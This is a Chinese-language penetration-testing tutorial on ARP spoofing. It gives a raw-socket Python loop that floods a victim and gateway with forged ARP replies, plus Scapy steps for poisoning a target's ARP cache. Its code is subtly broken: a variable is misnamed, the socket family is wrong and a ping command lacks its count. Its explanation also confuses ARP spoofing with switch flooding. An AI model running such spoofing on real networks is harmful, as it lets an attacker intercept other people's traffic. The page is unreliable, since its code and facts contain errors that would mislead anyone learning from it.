Python 渗透测试 - ARP 欺骗
ARP 可以定义为一种无状态协议,用于将 Internet 协议 (IP) 地址映射到物理机器地址。
ARP 的工作原理
在本节中,我们将了解 ARP 的工作原理。请考虑以下步骤以了解 ARP 的工作原理 −
步骤 1 − 首先,当一台机器想要与另一台机器通信时,它必须在其 ARP 表中查找物理地址。
步骤 2 − 如果找到机器的物理地址,则数据包在转换为正确长度后将被发送到所需的机器
步骤 3 −但是,如果表中未找到 IP 地址的条目,则 ARP_request 将通过网络广播。
步骤 4 − 现在,网络上的所有机器都会将广播的 IP 地址与 MAC 地址进行比较,如果网络中的任何机器识别出该地址,它将响应 ARP_request 及其 IP 和 MAC 地址。这样的 ARP 消息称为 ARP_reply。
步骤 5 − 最后,发送请求的机器会将地址对存储在其 ARP 表中,然后整个通信就会进行。
什么是 ARP 欺骗?
它可以定义为一种攻击类型,其中恶意行为者通过局域网发送伪造的 ARP 请求。ARP 中毒也称为 ARP 欺骗。可以通过以下几点来理解 −
首先,ARP 欺骗会构造大量伪造的 ARP 请求和回复数据包,以使交换机过载。
然后,交换机将设置为转发模式。
现在,ARP 表将被伪造的 ARP 响应淹没,以便攻击者可以嗅探所有网络数据包。
使用 Python 实现
在本节中,我们将了解 ARP 欺骗的 Python 实现。为此,我们需要三个 MAC 地址 - 第一个是受害者的,第二个是攻击者的,第三个是网关的。除此之外,我们还需要使用 ARP 协议的代码。
让我们按如下方式导入所需的模块 −
import socket import struct import binascii
现在,我们将创建一个套接字,它将具有三个参数。第一个参数告诉我们有关数据包接口的信息(Linux 专用的 PF_PACKET 和 Windows 的 AF_INET),第二个参数告诉我们它是否是原始套接字,第三个参数告诉我们有关我们感兴趣的协议的信息(此处 0x0800 用于 IP 协议)。
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800)) s.bind(("eth0",socket.htons(0x0800)))
现在我们将提供攻击者、受害者和网关机器的 mac 地址 −
attckrmac = '\x00\x0c\x29\x4f\x8e\x76' victimmac ='\x00\x0C\x29\x2E\x84\x5A' gatewaymac = '\x00\x50\x56\xC0\x00\x28'
我们需要提供 ARP 协议的代码,如下所示 −
code ='\x08\x06'
两个以太网数据包,一个用于受害者机器,另一个用于网关机器,如下所示 −
ethernet1 = victimmac + attckmac + code ethernet2 = gatewaymac + attckmac + code
以下代码行按照 ARP 标头的顺序排列 −
htype = '\x00\x01' protype = '\x08\x00' hsize = '\x06' psize = '\x04' opcode = '\x00\x02'
现在我们需要提供网关机器和受害者机器的 IP 地址(假设网关和受害者机器的 IP 地址如下) −
gateway_ip = '192.168.43.85' victim_ip = '192.168.43.131'
将上述 IP 地址转换为十六进制格式借助 socket.inet_aton() 方法。
gatewayip = socket.inet_aton ( gateway_ip ) victimip = socket.inet_aton ( victim_ip )
执行下面这行代码,更改网关机器的 IP 地址。
victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip while 1: s.send(victim_ARP) s.send(gateway_ARP)
在 Kali Linux 上使用 Scapy 实现
可以在 Kali Linux 上使用 Scapy 实现 ARP 欺骗。按照以下步骤执行相同的操作 −
步骤 1:攻击者机器的地址
在此步骤中,我们将通过在 Kali Linux 的命令提示符上运行命令 ifconfig 来找到攻击者机器的 IP 地址。
步骤 2:目标机器的地址
在此步骤中,我们将通过在 Kali Linux 的命令提示符上运行命令 ifconfig 来找到目标机器的 IP 地址,我们需要在另一台虚拟机上打开它。
步骤 3:Ping 目标机器
在此步骤中,我们需要在以下命令的帮助下从攻击者机器 ping 目标机器 −
Ping –c 192.168.43.85(say IP address of target machine)
步骤 4:ARP目标机器上的缓存
我们已经知道两台机器使用 ARP 数据包来交换 MAC 地址,因此在步骤 3 之后,我们可以在目标机器上运行以下命令来查看 ARP 缓存 −
arp -n
步骤 5:使用 Scapy 创建 ARP 数据包
我们可以在 Scapy 的帮助下创建 ARP 数据包,如下所示 −
scapy arp_packt = ARP() arp_packt.display()
步骤 6:使用 Scapy 发送恶意 ARP 数据包
我们可以在 Scapy 的帮助下发送恶意 ARP 数据包,如下所示 −
arp_packt.pdst = "192.168.43.85"(say IP address of target machine)) arp_packt.hwsrc = "11:11:11:11:11:11" arp_packt.psrc = "1.1.1.1" arp_packt.hwdst = "ff:ff:ff:ff:ff:ff" send(arp_packt)
步骤 7:再次检查目标机器上的 ARP 缓存
现在,如果我们再次检查目标机器上的 ARP 缓存,我们将看到虚假地址'1.1.1.1'。